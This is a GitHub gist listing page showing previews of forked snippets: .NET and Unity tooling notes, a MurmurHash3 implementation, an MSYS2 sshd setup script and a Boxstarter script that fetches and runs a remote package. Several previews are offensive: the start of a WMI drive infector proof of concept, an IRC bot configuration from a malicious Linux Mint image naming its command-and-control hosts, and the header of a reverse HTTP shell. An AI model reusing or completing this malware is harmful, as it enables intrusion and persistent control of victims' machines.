Skip to content

Instantly share code, notes, and snippets.

View nobitagamer's full-sized avatar

Nguyen Khac Trieu nobitagamer

View GitHub Profile
@nobitagamer
nobitagamer / README.md
Created February 10, 2017 10:20 — forked from jbevain/README.md
pdb2mdb for Visual Studio 2015

The Visual Studio Tools for Unity are able to convert .NET debug symbol files (namely pdb files) to debug symbols files that are understood by Unity's scripting engine (namely .dll.mdb files) when importing both the .dll and the .pdb in the Assets folder.

If you prefer to handle the conversion yourself you need to call a tool named pdb2mdb on the .dll associated with the .pdb:

pdb2mdb MyLibrary.dll

Will produce a MyLibrary.dll.mdb usable on Unity if MyLibrary.pdb is present.

:: Setup default environment for developers
:: - Version: 1.2
:: How to use:
:: - Run from cmd: START http://boxstarter.org/package/nr/url?https://gist.githubusercontent.com/nobitagamer/ca574f6c2b46f627eb6c95739910e05d/raw/
:: - From IE: http://boxstarter.org/package/nr/url?https://gist.githubusercontent.com/nobitagamer/ca574f6c2b46f627eb6c95739910e05d/raw/
Set-ExplorerOptions -showHidenFilesFoldersDrivers -showProtectedOSFiles -showFileExtensions
Enable-RemoteDesktop
cinst WindowsInstaller31 -source webpi
@nobitagamer
nobitagamer / MurMurHash3.cs
Created August 27, 2016 13:14 — forked from automatonic/MurMurHash3.cs
MurMurHash3 .Net (C#) implementation
/*
This code is public domain.
The MurmurHash3 algorithm was created by Austin Appleby and put into the public domain. See http://code.google.com/p/smhasher/
This C# variant was authored by
Elliott B. Edwards and was placed into the public domain as a gist
Status...Working on verification (Test Suite)
Set up to run as a LinqPad (linqpad.net) script (thus the ".Dump()" call)
*/
@nobitagamer
nobitagamer / Program.cs
Created July 20, 2016 04:45 — forked from abdullin/Program.cs
Wiring Lokad-CodeDSL in a MightyMoose style.
// This is a hacky sample (that works for me) of alternative way to use Lokad-codeDSL
// or any similar way of generating message contracts on-the-fly. Original approach was
// with using T4 template, that would rebuild cs files from DSL representation, whenever
// we hit Ctrl-S.
// This approach works almost exactly like this (Ctrl-S to rebuild), but does not require VS
// to run or does not require unloading VS to change the underlying generator code.
// in fact it is extremely boring. Lolcats from MightyMoose could be used to improve the situation, though.
// any takers? :)
@nobitagamer
nobitagamer / sample_drive_infector.ps1
Created April 4, 2016 09:08 — forked from mattifestation/sample_drive_infector.ps1
A PoC drive infector using permanent WMI event subscriptions. I wrote this to demonstrate passing __EventFilter arguments to a CommandLineEventConsumer
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'DriveChanged'
Query = 'SELECT * FROM Win32_VolumeChangeEvent'
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
$CommandLineConsumerArgs = @{
@nobitagamer
nobitagamer / man.cy
Created February 21, 2016 11:59 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@nobitagamer
nobitagamer / NhJsonCacheSerializer.cs
Created January 29, 2016 10:13 — forked from TheCloudlessSky/NhJsonCacheSerializer.cs
JSON.NET implementation of ICacheSerializer for NHibernate.Caches.Redis
public class NhJsonCacheSerializer : ICacheSerializer
{
// By default, JSON.NET will always use Int64/Double when deserializing numbers
// since there isn't an easy way to detect the proper number size. However,
// because NHibernate does casting to the correct number type, it will fail.
// Adding the type to the serialize object is what the "TypeNameHandling.All"
// option does except that it doesn't include numbers.
private class KeepNumberTypesConverter : JsonConverter
{
// We shouldn't have to account for Nullable<T> because the serializer
@nobitagamer
nobitagamer / gist:d0f116e5fc68f92dba5c
Created January 22, 2016 08:35 — forked from samhocevar/gist:00eec26d9e9988d080ac
Configure sshd on MSYS2 and run it as a Windows service
#!/bin/sh
#
# msys2-sshd-setup.sh — configure sshd on MSYS2 and run it as a Windows service
#
# Please report issues and/or improvements to Sam Hocevar <[email protected]>
#
# Prerequisites:
# — MSYS2 itself: http://sourceforge.net/projects/msys2/
# — admin tools: pacman -S openssh cygrunsrv mingw-w64-x86_64-editrights
#
@nobitagamer
nobitagamer / JSRat.ps1
Created January 3, 2016 16:21
Fileless JavaScript Reverse HTTP Shell
<#
Author: Casey Smith @subTee
License: BSD3-Clause
.SYNOPSIS
Simple Reverse Shell over HTTP. Execute Commands on Client.